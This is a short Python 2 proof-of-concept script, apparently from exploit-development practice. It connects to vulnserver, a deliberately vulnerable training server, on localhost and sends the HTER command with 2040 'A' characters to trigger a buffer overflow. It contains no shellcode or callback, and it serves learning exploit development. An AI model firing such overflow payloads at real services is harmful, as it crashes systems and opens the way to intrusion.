poc-hter.py

import socket

# open a connection to vulnserver
s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
s.connect (("localhost", 9999))

# receive the banner for vulnserver
s.recv (1024)

print "[*] Sending 2040 As"

# send the number of As to fuzz the HTER command
s.send ("HTER " + "A" * 2040 + " \r\n")

# receive the response from vulnserver
s.recv (1024)

# close the connection
s.close ()